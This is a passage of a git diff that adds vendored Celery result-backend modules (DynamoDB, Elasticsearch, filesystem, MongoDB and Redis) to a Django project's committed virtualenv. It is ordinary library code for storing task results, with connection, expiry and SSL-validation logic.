+ ).format( + situation='already enabled' + if status == 'ENABLED' + else 'currently being enabled', + table=self.table_name + )) + return description + + elif status in ('DISABLED', 'DISABLING'): + if not self._has_ttl(): + # We want TTL disabled, and it is currently disabled or being + # disabled. + logger.debug(( + 'DynamoDB Time to Live is {situation} ' + 'on table {table}' + ).format( + situation='already disabled' + if status == 'DISABLED' + else 'currently being disabled', + table=self.table_name + )) + return description + + # The state shouldn't ever have any value beyond the four handled + # above, but to ease troubleshooting of potential future changes, emit + # a log showing the unknown state. + else: # pragma: no cover + logger.warning(( + 'Unknown DynamoDB Time to Live status {status} ' + 'on table {table}. Attempting to continue.' + ).format( + status=status, + table=self.table_name + )) + + # At this point, we have one of the following situations: + # + # We want TTL enabled, + # + # - and it's currently disabled: Try to enable. + # + # - and it's being disabled: Try to enable, but this is almost sure to + # raise ValidationException with message: + # + # Time to live has been modified multiple times within a fixed + # interval + # + # - and it's currently enabling or being enabled, but on the wrong + # attribute: Try to enable, but this will raise ValidationException + # with message: + # + # TimeToLive is active on a different AttributeName: current + # AttributeName is ttlx + # + # We want TTL disabled, + # + # - and it's currently enabled: Try to disable. + # + # - and it's being enabled: Try to disable, but this is almost sure to + # raise ValidationException with message: + # + # Time to live has been modified multiple times within a fixed + # interval + # + attr_name = \ + cur_attr_name if status == 'ENABLED' else self._ttl_field.name + try: + specification = self._client.update_time_to_live( + **self._get_ttl_specification( + ttl_attr_name=attr_name + ) + ) + logger.info( + ( + 'DynamoDB table Time to Live updated: ' + 'table={table} enabled={enabled} attribute={attr}' + ).format( + table=self.table_name, + enabled=self._has_ttl(), + attr=self._ttl_field.name + ) + ) + return specification + except ClientError as e: + error_code = e.response['Error'].get('Code', 'Unknown') + error_message = e.response['Error'].get('Message', 'Unknown') + logger.error(( + 'Error {action} Time to Live on DynamoDB table {table}: ' + '{code}: {message}' + ).format( + action='enabling' if self._has_ttl() else 'disabling', + table=self.table_name, + code=error_code, + message=error_message, + )) + raise e + + def _wait_for_table_status(self, expected='ACTIVE'): + """Poll for the expected table status.""" + achieved_state = False + while not achieved_state: + table_description = self.client.describe_table( + TableName=self.table_name + ) + logger.debug( + 'Waiting for DynamoDB table {} to become {}.'.format( + self.table_name, + expected + ) + ) + current_status = table_description['Table']['TableStatus'] + achieved_state = current_status == expected + sleep(1) + + def _prepare_get_request(self, key): + """Construct the item retrieval request parameters.""" + return { + 'TableName': self.table_name, + 'Key': { + self._key_field.name: { + self._key_field.data_type: key + } + } + } + + def _prepare_put_request(self, key, value): + """Construct the item creation request parameters.""" + timestamp = time() + put_request = { + 'TableName': self.table_name, + 'Item': { + self._key_field.name: { + self._key_field.data_type: key + }, + self._value_field.name: { + self._value_field.data_type: value + }, + self._timestamp_field.name: { + self._timestamp_field.data_type: str(timestamp) + } + } + } + if self._has_ttl(): + put_request['Item'].update({ + self._ttl_field.name: { + self._ttl_field.data_type: + str(int(timestamp + self.time_to_live_seconds)) + } + }) + return put_request + + def _item_to_dict(self, raw_response): + """Convert get_item() response to field-value pairs.""" + if 'Item' not in raw_response: + return {} + return { + field.name: raw_response['Item'][field.name][field.data_type] + for field in self._available_fields + } + + @property + def client(self): + return self._get_client() + + def get(self, key): + key = str(key) + request_parameters = self._prepare_get_request(key) + item_response = self.client.get_item(**request_parameters) + item = self._item_to_dict(item_response) + return item.get(self._value_field.name) + + def set(self, key, value): + key = str(key) + request_parameters = self._prepare_put_request(key, value) + self.client.put_item(**request_parameters) + + def mget(self, keys): + return [self.get(key) for key in keys] + + def delete(self, key): + key = str(key) + request_parameters = self._prepare_get_request(key) + self.client.delete_item(**request_parameters) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/elasticsearch.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/elasticsearch.py new file mode 100644 index 00000000..c40b15dd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/elasticsearch.py @@ -0,0 +1,248 @@ +"""Elasticsearch result store backend.""" +from datetime import datetime + +from kombu.utils.encoding import bytes_to_str +from kombu.utils.url import _parse_url + +from celery import states +from celery.exceptions import ImproperlyConfigured + +from .base import KeyValueStoreBackend + +try: + import elasticsearch +except ImportError: # pragma: no cover + elasticsearch = None + +__all__ = ('ElasticsearchBackend',) + +E_LIB_MISSING = """\ +You need to install the elasticsearch library to use the Elasticsearch \ +result backend.\ +""" + + +class ElasticsearchBackend(KeyValueStoreBackend): + """Elasticsearch Backend. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`elasticsearch` is not available. + """ + + index = 'celery' + doc_type = 'backend' + scheme = 'http' + host = 'localhost' + port = 9200 + username = None + password = None + es_retry_on_timeout = False + es_timeout = 10 + es_max_retries = 3 + + def __init__(self, url=None, *args, **kwargs): + super().__init__(*args, **kwargs) + self.url = url + _get = self.app.conf.get + + if elasticsearch is None: + raise ImproperlyConfigured(E_LIB_MISSING) + + index = doc_type = scheme = host = port = username = password = None + + if url: + scheme, host, port, username, password, path, _ = _parse_url(url) + if scheme == 'elasticsearch': + scheme = None + if path: + path = path.strip('/') + index, _, doc_type = path.partition('/') + + self.index = index or self.index + self.doc_type = doc_type or self.doc_type + self.scheme = scheme or self.scheme + self.host = host or self.host + self.port = port or self.port + self.username = username or self.username + self.password = password or self.password + + self.es_retry_on_timeout = ( + _get('elasticsearch_retry_on_timeout') or self.es_retry_on_timeout + ) + + es_timeout = _get('elasticsearch_timeout') + if es_timeout is not None: + self.es_timeout = es_timeout + + es_max_retries = _get('elasticsearch_max_retries') + if es_max_retries is not None: + self.es_max_retries = es_max_retries + + self.es_save_meta_as_text = _get('elasticsearch_save_meta_as_text', True) + self._server = None + + def exception_safe_to_retry(self, exc): + if isinstance(exc, (elasticsearch.exceptions.TransportError)): + # 401: Unauthorized + # 409: Conflict + # 429: Too Many Requests + # 500: Internal Server Error + # 502: Bad Gateway + # 503: Service Unavailable + # 504: Gateway Timeout + # N/A: Low level exception (i.e. socket exception) + if exc.status_code in {401, 409, 429, 500, 502, 503, 504, 'N/A'}: + return True + return False + + def get(self, key): + try: + res = self._get(key) + try: + if res['found']: + return res['_source']['result'] + except (TypeError, KeyError): + pass + except elasticsearch.exceptions.NotFoundError: + pass + + def _get(self, key): + return self.server.get( + index=self.index, + doc_type=self.doc_type, + id=key, + ) + + def _set_with_state(self, key, value, state): + body = { + 'result': value, + '@timestamp': '{}Z'.format( + datetime.utcnow().isoformat()[:-3] + ), + } + try: + self._index( + id=key, + body=body, + ) + except elasticsearch.exceptions.ConflictError: + # document already exists, update it + self._update(key, body, state) + + def set(self, key, value): + return self._set_with_state(key, value, None) + + def _index(self, id, body, **kwargs): + body = {bytes_to_str(k): v for k, v in body.items()} + return self.server.index( + id=bytes_to_str(id), + index=self.index, + doc_type=self.doc_type, + body=body, + params={'op_type': 'create'}, + **kwargs + ) + + def _update(self, id, body, state, **kwargs): + """Update state in a conflict free manner. + + If state is defined (not None), this will not update ES server if either: + * existing state is success + * existing state is a ready state and current state in not a ready state + + This way, a Retry state cannot override a Success or Failure, and chord_unlock + will not retry indefinitely. + """ + body = {bytes_to_str(k): v for k, v in body.items()} + + try: + res_get = self._get(key=id) + if not res_get.get('found'): + return self._index(id, body, **kwargs) + # document disappeared between index and get calls. + except elasticsearch.exceptions.NotFoundError: + return self._index(id, body, **kwargs) + + try: + meta_present_on_backend = self.decode_result(res_get['_source']['result']) + except (TypeError, KeyError): + pass + else: + if meta_present_on_backend['status'] == states.SUCCESS: + # if stored state is already in success, do nothing + return {'result': 'noop'} + elif meta_present_on_backend['status'] in states.READY_STATES and state in states.UNREADY_STATES: + # if stored state is in ready state and current not, do nothing + return {'result': 'noop'} + + # get current sequence number and primary term + # https://www.elastic.co/guide/en/elasticsearch/reference/current/optimistic-concurrency-control.html + seq_no = res_get.get('_seq_no', 1) + prim_term = res_get.get('_primary_term', 1) + + # try to update document with current seq_no and primary_term + res = self.server.update( + id=bytes_to_str(id), + index=self.index, + doc_type=self.doc_type, + body={'doc': body}, + params={'if_primary_term': prim_term, 'if_seq_no': seq_no}, + **kwargs + ) + # result is elastic search update query result + # noop = query did not update any document + # updated = at least one document got updated + if res['result'] == 'noop': + raise elasticsearch.exceptions.ConflictError(409, 'conflicting update occurred concurrently', {}) + return res + + def encode(self, data): + if self.es_save_meta_as_text: + return super().encode(data) + else: + if not isinstance(data, dict): + return super().encode(data) + if data.get("result"): + data["result"] = self._encode(data["result"])[2] + if data.get("traceback"): + data["traceback"] = self._encode(data["traceback"])[2] + return data + + def decode(self, payload): + if self.es_save_meta_as_text: + return super().decode(payload) + else: + if not isinstance(payload, dict): + return super().decode(payload) + if payload.get("result"): + payload["result"] = super().decode(payload["result"]) + if payload.get("traceback"): + payload["traceback"] = super().decode(payload["traceback"]) + return payload + + def mget(self, keys): + return [self.get(key) for key in keys] + + def delete(self, key): + self.server.delete(index=self.index, doc_type=self.doc_type, id=key) + + def _get_server(self): + """Connect to the Elasticsearch server.""" + http_auth = None + if self.username and self.password: + http_auth = (self.username, self.password) + return elasticsearch.Elasticsearch( + f'{self.host}:{self.port}', + retry_on_timeout=self.es_retry_on_timeout, + max_retries=self.es_max_retries, + timeout=self.es_timeout, + scheme=self.scheme, + http_auth=http_auth, + ) + + @property + def server(self): + if self._server is None: + self._server = self._get_server() + return self._server diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/filesystem.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/filesystem.py new file mode 100644 index 00000000..6bc6bb14 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/filesystem.py @@ -0,0 +1,113 @@ +"""File-system result store backend.""" +import locale +import os +from datetime import datetime + +from kombu.utils.encoding import ensure_bytes + +from celery import uuid +from celery.backends.base import KeyValueStoreBackend +from celery.exceptions import ImproperlyConfigured + +default_encoding = locale.getpreferredencoding(False) + +E_NO_PATH_SET = 'You need to configure a path for the file-system backend' +E_PATH_NON_CONFORMING_SCHEME = ( + 'A path for the file-system backend should conform to the file URI scheme' +) +E_PATH_INVALID = """\ +The configured path for the file-system backend does not +work correctly, please make sure that it exists and has +the correct permissions.\ +""" + + +class FilesystemBackend(KeyValueStoreBackend): + """File-system result backend. + + Arguments: + url (str): URL to the directory we should use + open (Callable): open function to use when opening files + unlink (Callable): unlink function to use when deleting files + sep (str): directory separator (to join the directory with the key) + encoding (str): encoding used on the file-system + """ + + def __init__(self, url=None, open=open, unlink=os.unlink, sep=os.sep, + encoding=default_encoding, *args, **kwargs): + super().__init__(*args, **kwargs) + self.url = url + path = self._find_path(url) + + # Remove forwarding "/" for Windows os + if os.name == "nt" and path.startswith("/"): + path = path[1:] + + # We need the path and separator as bytes objects + self.path = path.encode(encoding) + self.sep = sep.encode(encoding) + + self.open = open + self.unlink = unlink + + # Lets verify that we've everything setup right + self._do_directory_test(b'.fs-backend-' + uuid().encode(encoding)) + + def __reduce__(self, args=(), kwargs={}): + kwargs.update( + dict(url=self.url)) + return super().__reduce__(args, kwargs) + + def _find_path(self, url): + if not url: + raise ImproperlyConfigured(E_NO_PATH_SET) + if url.startswith('file://localhost/'): + return url[16:] + if url.startswith('file://'): + return url[7:] + raise ImproperlyConfigured(E_PATH_NON_CONFORMING_SCHEME) + + def _do_directory_test(self, key): + try: + self.set(key, b'test value') + assert self.get(key) == b'test value' + self.delete(key) + except OSError: + raise ImproperlyConfigured(E_PATH_INVALID) + + def _filename(self, key): + return self.sep.join((self.path, key)) + + def get(self, key): + try: + with self.open(self._filename(key), 'rb') as infile: + return infile.read() + except FileNotFoundError: + pass + + def set(self, key, value): + with self.open(self._filename(key), 'wb') as outfile: + outfile.write(ensure_bytes(value)) + + def mget(self, keys): + for key in keys: + yield self.get(key) + + def delete(self, key): + self.unlink(self._filename(key)) + + def cleanup(self): + """Delete expired meta-data.""" + if not self.expires: + return + epoch = datetime(1970, 1, 1, tzinfo=self.app.timezone) + now_ts = (self.app.now() - epoch).total_seconds() + cutoff_ts = now_ts - self.expires + for filename in os.listdir(self.path): + for prefix in (self.task_keyprefix, self.group_keyprefix, + self.chord_keyprefix): + if filename.startswith(prefix): + path = os.path.join(self.path, filename) + if os.stat(path).st_mtime < cutoff_ts: + self.unlink(path) + break diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/mongodb.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/mongodb.py new file mode 100644 index 00000000..1833561f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/mongodb.py @@ -0,0 +1,317 @@ +"""MongoDB result store backend.""" +from datetime import datetime, timedelta + +from kombu.exceptions import EncodeError +from kombu.utils.objects import cached_property +from kombu.utils.url import maybe_sanitize_url, urlparse + +from celery import states +from celery.exceptions import ImproperlyConfigured + +from .base import BaseBackend + +try: + import pymongo +except ImportError: # pragma: no cover + pymongo = None + +if pymongo: + try: + from bson.binary import Binary + except ImportError: # pragma: no cover + from pymongo.binary import Binary + from pymongo.errors import InvalidDocument +else: # pragma: no cover + Binary = None + + class InvalidDocument(Exception): + pass + +__all__ = ('MongoBackend',) + +BINARY_CODECS = frozenset(['pickle', 'msgpack']) + + +class MongoBackend(BaseBackend): + """MongoDB result backend. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`pymongo` is not available. + """ + + mongo_host = None + host = 'localhost' + port = 27017 + user = None + password = None + database_name = 'celery' + taskmeta_collection = 'celery_taskmeta' + groupmeta_collection = 'celery_groupmeta' + max_pool_size = 10 + options = None + + supports_autoexpire = False + + _connection = None + + def __init__(self, app=None, **kwargs): + self.options = {} + + super().__init__(app, **kwargs) + + if not pymongo: + raise ImproperlyConfigured( + 'You need to install the pymongo library to use the ' + 'MongoDB backend.') + + # Set option defaults + for key, value in self._prepare_client_options().items(): + self.options.setdefault(key, value) + + # update conf with mongo uri data, only if uri was given + if self.url: + self.url = self._ensure_mongodb_uri_compliance(self.url) + + uri_data = pymongo.uri_parser.parse_uri(self.url) + # build the hosts list to create a mongo connection + hostslist = [ + f'{x[0]}:{x[1]}' for x in uri_data['nodelist'] + ] + self.user = uri_data['username'] + self.password = uri_data['password'] + self.mongo_host = hostslist + if uri_data['database']: + # if no database is provided in the uri, use default + self.database_name = uri_data['database'] + + self.options.update(uri_data['options']) + + # update conf with specific settings + config = self.app.conf.get('mongodb_backend_settings') + if config is not None: + if not isinstance(config, dict): + raise ImproperlyConfigured( + 'MongoDB backend settings should be grouped in a dict') + config = dict(config) # don't modify original + + if 'host' in config or 'port' in config: + # these should take over uri conf + self.mongo_host = None + + self.host = config.pop('host', self.host) + self.port = config.pop('port', self.port) + self.mongo_host = config.pop('mongo_host', self.mongo_host) + self.user = config.pop('user', self.user) + self.password = config.pop('password', self.password) + self.database_name = config.pop('database', self.database_name) + self.taskmeta_collection = config.pop( + 'taskmeta_collection', self.taskmeta_collection, + ) + self.groupmeta_collection = config.pop( + 'groupmeta_collection', self.groupmeta_collection, + ) + + self.options.update(config.pop('options', {})) + self.options.update(config) + + @staticmethod + def _ensure_mongodb_uri_compliance(url): + parsed_url = urlparse(url) + if not parsed_url.scheme.startswith('mongodb'): + url = f'mongodb+{url}' + + if url == 'mongodb://': + url += 'localhost' + + return url + + def _prepare_client_options(self): + if pymongo.version_tuple >= (3,): + return {'maxPoolSize': self.max_pool_size} + else: # pragma: no cover + return {'max_pool_size': self.max_pool_size, + 'auto_start_request': False} + + def _get_connection(self): + """Connect to the MongoDB server.""" + if self._connection is None: + from pymongo import MongoClient + + host = self.mongo_host + if not host: + # The first pymongo.Connection() argument (host) can be + # a list of ['host:port'] elements or a mongodb connection + # URI. If this is the case, don't use self.port + # but let pymongo get the port(s) from the URI instead. + # This enables the use of replica sets and sharding. + # See pymongo.Connection() for more info. + host = self.host + if isinstance(host, str) \ + and not host.startswith('mongodb://'): + host = f'mongodb://{host}:{self.port}' + # don't change self.options + conf = dict(self.options) + conf['host'] = host + if self.user: + conf['username'] = self.user + if self.password: + conf['password'] = self.password + + self._connection = MongoClient(**conf) + + return self._connection + + def encode(self, data): + if self.serializer == 'bson': + # mongodb handles serialization + return data + payload = super().encode(data) + + # serializer which are in a unsupported format (pickle/binary) + if self.serializer in BINARY_CODECS: + payload = Binary(payload) + return payload + + def decode(self, data): + if self.serializer == 'bson': + return data + return super().decode(data) + + def _store_result(self, task_id, result, state, + traceback=None, request=None, **kwargs): + """Store return value and state of an executed task.""" + meta = self._get_result_meta(result=self.encode(result), state=state, + traceback=traceback, request=request) + # Add the _id for mongodb + meta['_id'] = task_id + + try: + self.collection.replace_one({'_id': task_id}, meta, upsert=True) + except InvalidDocument as exc: + raise EncodeError(exc) + + return result + + def _get_task_meta_for(self, task_id): + """Get task meta-data for a task by id.""" + obj = self.collection.find_one({'_id': task_id}) + if obj: + return self.meta_from_decoded({ + 'task_id': obj['_id'], + 'status': obj['status'], + 'result': self.decode(obj['result']), + 'date_done': obj['date_done'], + 'traceback': obj['traceback'], + 'children': obj['children'], + }) + return {'status': states.PENDING, 'result': None} + + def _save_group(self, group_id, result): + """Save the group result.""" + meta = { + '_id': group_id, + 'result': self.encode([i.id for i in result]), + 'date_done': datetime.utcnow(), + } + self.group_collection.replace_one({'_id': group_id}, meta, upsert=True) + return result + + def _restore_group(self, group_id): + """Get the result for a group by id.""" + obj = self.group_collection.find_one({'_id': group_id}) + if obj: + return { + 'task_id': obj['_id'], + 'date_done': obj['date_done'], + 'result': [ + self.app.AsyncResult(task) + for task in self.decode(obj['result']) + ], + } + + def _delete_group(self, group_id): + """Delete a group by id.""" + self.group_collection.delete_one({'_id': group_id}) + + def _forget(self, task_id): + """Remove result from MongoDB. + + Raises: + pymongo.exceptions.OperationsError: + if the task_id could not be removed. + """ + # By using safe=True, this will wait until it receives a response from + # the server. Likewise, it will raise an OperationsError if the + # response was unable to be completed. + self.collection.delete_one({'_id': task_id}) + + def cleanup(self): + """Delete expired meta-data.""" + if not self.expires: + return + + self.collection.delete_many( + {'date_done': {'$lt': self.app.now() - self.expires_delta}}, + ) + self.group_collection.delete_many( + {'date_done': {'$lt': self.app.now() - self.expires_delta}}, + ) + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + return super().__reduce__( + args, dict(kwargs, expires=self.expires, url=self.url)) + + def _get_database(self): + conn = self._get_connection() + return conn[self.database_name] + + @cached_property + def database(self): + """Get database from MongoDB connection. + + performs authentication if necessary. + """ + return self._get_database() + + @cached_property + def collection(self): + """Get the meta-data task collection.""" + collection = self.database[self.taskmeta_collection] + + # Ensure an index on date_done is there, if not process the index + # in the background. Once completed cleanup will be much faster + collection.create_index('date_done', background=True) + return collection + + @cached_property + def group_collection(self): + """Get the meta-data task collection.""" + collection = self.database[self.groupmeta_collection] + + # Ensure an index on date_done is there, if not process the index + # in the background. Once completed cleanup will be much faster + collection.create_index('date_done', background=True) + return collection + + @cached_property + def expires_delta(self): + return timedelta(seconds=self.expires) + + def as_uri(self, include_password=False): + """Return the backend as an URI. + + Arguments: + include_password (bool): Password censored if disabled. + """ + if not self.url: + return 'mongodb://' + if include_password: + return self.url + + if ',' not in self.url: + return maybe_sanitize_url(self.url) + + uri1, remainder = self.url.split(',', 1) + return ','.join([maybe_sanitize_url(uri1), remainder]) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/redis.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/redis.py new file mode 100644 index 00000000..7eedc4c0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/redis.py @@ -0,0 +1,661 @@ +"""Redis result store backend.""" +import time +from contextlib import contextmanager +from functools import partial +from ssl import CERT_NONE, CERT_OPTIONAL, CERT_REQUIRED +from urllib.parse import unquote + +from kombu.utils.functional import retry_over_time +from kombu.utils.objects import cached_property +from kombu.utils.url import _parse_url, maybe_sanitize_url + +from celery import states +from celery._state import task_join_will_block +from celery.canvas import maybe_signature +from celery.exceptions import (BackendStoreError, ChordError, + ImproperlyConfigured) +from celery.result import GroupResult, allow_join_result +from celery.utils.functional import _regen, dictfilter +from celery.utils.log import get_logger +from celery.utils.time import humanize_seconds + +from .asynchronous import AsyncBackendMixin, BaseResultConsumer +from .base import BaseKeyValueStoreBackend + +try: + import redis.connection + from kombu.transport.redis import get_redis_error_classes +except ImportError: # pragma: no cover + redis = None + get_redis_error_classes = None + +try: + import redis.sentinel +except ImportError: + pass + +__all__ = ('RedisBackend', 'SentinelBackend') + +E_REDIS_MISSING = """ +You need to install the redis library in order to use \ +the Redis result store backend. +""" + +E_REDIS_SENTINEL_MISSING = """ +You need to install the redis library with support of \ +sentinel in order to use the Redis result store backend. +""" + +W_REDIS_SSL_CERT_OPTIONAL = """ +Setting ssl_cert_reqs=CERT_OPTIONAL when connecting to redis means that \ +celery might not validate the identity of the redis broker when connecting. \ +This leaves you vulnerable to man in the middle attacks. +""" + +W_REDIS_SSL_CERT_NONE = """ +Setting ssl_cert_reqs=CERT_NONE when connecting to redis means that celery \ +will not validate the identity of the redis broker when connecting. This \ +leaves you vulnerable to man in the middle attacks. +""" + +E_REDIS_SSL_PARAMS_AND_SCHEME_MISMATCH = """ +SSL connection parameters have been provided but the specified URL scheme \ +is redis://. A Redis SSL connection URL should use the scheme rediss://. +""" + +E_REDIS_SSL_CERT_REQS_MISSING_INVALID = """ +A rediss:// URL must have parameter ssl_cert_reqs and this must be set to \ +CERT_REQUIRED, CERT_OPTIONAL, or CERT_NONE +""" + +E_LOST = 'Connection to Redis lost: Retry (%s/%s) %s.' + +E_RETRY_LIMIT_EXCEEDED = """ +Retry limit exceeded while trying to reconnect to the Celery redis result \ +store backend. The Celery application must be restarted. +""" + +logger = get_logger(__name__) + + +class ResultConsumer(BaseResultConsumer): + _pubsub = None + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._get_key_for_task = self.backend.get_key_for_task + self._decode_result = self.backend.decode_result + self._ensure = self.backend.ensure + self._connection_errors = self.backend.connection_errors + self.subscribed_to = set() + + def on_after_fork(self): + try: + self.backend.client.connection_pool.reset() + if self._pubsub is not None: + self._pubsub.close() + except KeyError as e: + logger.warning(str(e)) + super().on_after_fork() + + def _reconnect_pubsub(self): + self._pubsub = None + self.backend.client.connection_pool.reset() + # task state might have changed when the connection was down so we + # retrieve meta for all subscribed tasks before going into pubsub mode + metas = self.backend.client.mget(self.subscribed_to) + metas = [meta for meta in metas if meta] + for meta in metas: + self.on_state_change(self._decode_result(meta), None) + self._pubsub = self.backend.client.pubsub( + ignore_subscribe_messages=True, + ) + if self.subscribed_to: + self._pubsub.subscribe(*self.subscribed_to) + + @contextmanager + def reconnect_on_error(self): + try: + yield + except self._connection_errors: + try: + self._ensure(self._reconnect_pubsub, ()) + except self._connection_errors: + logger.critical(E_RETRY_LIMIT_EXCEEDED) + raise + + def _maybe_cancel_ready_task(self, meta): + if meta['status'] in states.READY_STATES: + self.cancel_for(meta['task_id']) + + def on_state_change(self, meta, message): + super().on_state_change(meta, message) + self._maybe_cancel_ready_task(meta) + + def start(self, initial_task_id, **kwargs): + self._pubsub = self.backend.client.pubsub( + ignore_subscribe_messages=True, + ) + self._consume_from(initial_task_id) + + def on_wait_for_pending(self, result, **kwargs): + for meta in result._iter_meta(**kwargs): + if meta is not None: + self.on_state_change(meta, None) + + def stop(self): + if self._pubsub is not None: + self._pubsub.close() + + def drain_events(self, timeout=None): + if self._pubsub: + with self.reconnect_on_error(): + message = self._pubsub.get_message(timeout=timeout) + if message and message['type'] == 'message': + self.on_state_change(self._decode_result(message['data']), message) + elif timeout: + time.sleep(timeout) + + def consume_from(self, task_id): + if self._pubsub is None: + return self.start(task_id) + self._consume_from(task_id) + + def _consume_from(self, task_id): + key = self._get_key_for_task(task_id) + if key not in self.subscribed_to: + self.subscribed_to.add(key) + with self.reconnect_on_error(): + self._pubsub.subscribe(key) + + def cancel_for(self, task_id): + key = self._get_key_for_task(task_id) + self.subscribed_to.discard(key) + if self._pubsub: + with self.reconnect_on_error(): + self._pubsub.unsubscribe(key) + + +class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): + """Redis task result store. + + It makes use of the following commands: + GET, MGET, DEL, INCRBY, EXPIRE, SET, SETEX + """ + + ResultConsumer = ResultConsumer + + #: :pypi:`redis` client module. + redis = redis + connection_class_ssl = redis.SSLConnection if redis else None + + #: Maximum number of connections in the pool. + max_connections = None + + supports_autoexpire = True + supports_native_join = True + + #: Maximal length of string value in Redis. + #: 512 MB - https://redis.io/topics/data-types + _MAX_STR_VALUE_SIZE = 536870912 + + def __init__(self, host=None, port=None, db=None, password=None, + max_connections=None, url=None, + connection_pool=None, **kwargs): + super().__init__(expires_type=int, **kwargs) + _get = self.app.conf.get + if self.redis is None: + raise ImproperlyConfigured(E_REDIS_MISSING.strip()) + + if host and '://' in host: + url, host = host, None + + self.max_connections = ( + max_connections or + _get('redis_max_connections') or + self.max_connections) + self._ConnectionPool = connection_pool + + socket_timeout = _get('redis_socket_timeout') + socket_connect_timeout = _get('redis_socket_connect_timeout') + retry_on_timeout = _get('redis_retry_on_timeout') + socket_keepalive = _get('redis_socket_keepalive') + health_check_interval = _get('redis_backend_health_check_interval') + + self.connparams = { + 'host': _get('redis_host') or 'localhost', + 'port': _get('redis_port') or 6379, + 'db': _get('redis_db') or 0, + 'password': _get('redis_password'), + 'max_connections': self.max_connections, + 'socket_timeout': socket_timeout and float(socket_timeout), + 'retry_on_timeout': retry_on_timeout or False, + 'socket_connect_timeout': + socket_connect_timeout and float(socket_connect_timeout), + } + + username = _get('redis_username') + if username: + # We're extra careful to avoid including this configuration value + # if it wasn't specified since older versions of py-redis + # don't support specifying a username. + # Only Redis>6.0 supports username/password authentication. + + # TODO: Include this in connparams' definition once we drop + # support for py-redis<3.4.0. + self.connparams['username'] = username + + if health_check_interval: + self.connparams["health_check_interval"] = health_check_interval + + # absent in redis.connection.UnixDomainSocketConnection + if socket_keepalive: + self.connparams['socket_keepalive'] = socket_keepalive + + # "redis_backend_use_ssl" must be a dict with the keys: + # 'ssl_cert_reqs', 'ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile' + # (the same as "broker_use_ssl") + ssl = _get('redis_backend_use_ssl') + if ssl: + self.connparams.update(ssl) + self.connparams['connection_class'] = self.connection_class_ssl + + if url: + self.connparams = self._params_from_url(url, self.connparams) + + # If we've received SSL parameters via query string or the + # redis_backend_use_ssl dict, check ssl_cert_reqs is valid. If set + # via query string ssl_cert_reqs will be a string so convert it here + if ('connection_class' in self.connparams and + issubclass(self.connparams['connection_class'], redis.SSLConnection)): + ssl_cert_reqs_missing = 'MISSING' + ssl_string_to_constant = {'CERT_REQUIRED': CERT_REQUIRED, + 'CERT_OPTIONAL': CERT_OPTIONAL, + 'CERT_NONE': CERT_NONE, + 'required': CERT_REQUIRED, + 'optional': CERT_OPTIONAL, + 'none': CERT_NONE} + ssl_cert_reqs = self.connparams.get('ssl_cert_reqs', ssl_cert_reqs_missing) + ssl_cert_reqs = ssl_string_to_constant.get(ssl_cert_reqs, ssl_cert_reqs) + if ssl_cert_reqs not in ssl_string_to_constant.values(): + raise ValueError(E_REDIS_SSL_CERT_REQS_MISSING_INVALID) + + if ssl_cert_reqs == CERT_OPTIONAL: + logger.warning(W_REDIS_SSL_CERT_OPTIONAL) + elif ssl_cert_reqs == CERT_NONE: + logger.warning(W_REDIS_SSL_CERT_NONE) + self.connparams['ssl_cert_reqs'] = ssl_cert_reqs + + self.url = url + + self.connection_errors, self.channel_errors = ( + get_redis_error_classes() if get_redis_error_classes + else ((), ())) + self.result_consumer = self.ResultConsumer( + self, self.app, self.accept, + self._pending_results, self._pending_messages, + ) + + def _params_from_url(self, url, defaults): + scheme, host, port, username, password, path, query = _parse_url(url) + connparams = dict( + defaults, **dictfilter({ + 'host': host, 'port': port, 'username': username, + 'password': password, 'db': query.pop('virtual_host', None)}) + ) + + if scheme == 'socket': + # use 'path' as path to the socket… in this case + # the database number should be given in 'query' + connparams.update({ + 'connection_class': self.redis.UnixDomainSocketConnection, + 'path': '/' + path, + }) + # host+port are invalid options when using this connection type. + connparams.pop('host', None) + connparams.pop('port', None) + connparams.pop('socket_connect_timeout') + else: + connparams['db'] = path + + ssl_param_keys = ['ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile', + 'ssl_cert_reqs'] + + if scheme == 'redis': + # If connparams or query string contain ssl params, raise error + if (any(key in connparams for key in ssl_param_keys) or + any(key in query for key in ssl_param_keys)): + raise ValueError(E_REDIS_SSL_PARAMS_AND_SCHEME_MISMATCH) + + if scheme == 'rediss': + connparams['connection_class'] = redis.SSLConnection + # The following parameters, if present in the URL, are encoded. We + # must add the decoded values to connparams. + for ssl_setting in ssl_param_keys: + ssl_val = query.pop(ssl_setting, None) + if ssl_val: + connparams[ssl_setting] = unquote(ssl_val) + + # db may be string and start with / like in kombu. + db = connparams.get('db') or 0 + db = db.strip('/') if isinstance(db, str) else db + connparams['db'] = int(db) + + for key, value in query.items(): + if key in redis.connection.URL_QUERY_ARGUMENT_PARSERS: + query[key] = redis.connection.URL_QUERY_ARGUMENT_PARSERS[key]( + value + ) + + # Query parameters override other parameters + connparams.update(query) + return connparams + + @cached_property + def retry_policy(self): + retry_policy = super().retry_policy + if "retry_policy" in self._transport_options: + retry_policy = retry_policy.copy() + retry_policy.update(self._transport_options['retry_policy']) + + return retry_policy + + def on_task_call(self, producer, task_id): + if not task_join_will_block(): + self.result_consumer.consume_from(task_id) + + def get(self, key): + return self.client.get(key) + + def mget(self, keys): + return self.client.mget(keys) + + def ensure(self, fun, args, **policy): + retry_policy = dict(self.retry_policy, **policy) + max_retries = retry_policy.get('max_retries') + return retry_over_time( + fun, self.connection_errors, args, {}, + partial(self.on_connection_error, max_retries), + **retry_policy) + + def on_connection_error(self, max_retries, exc, 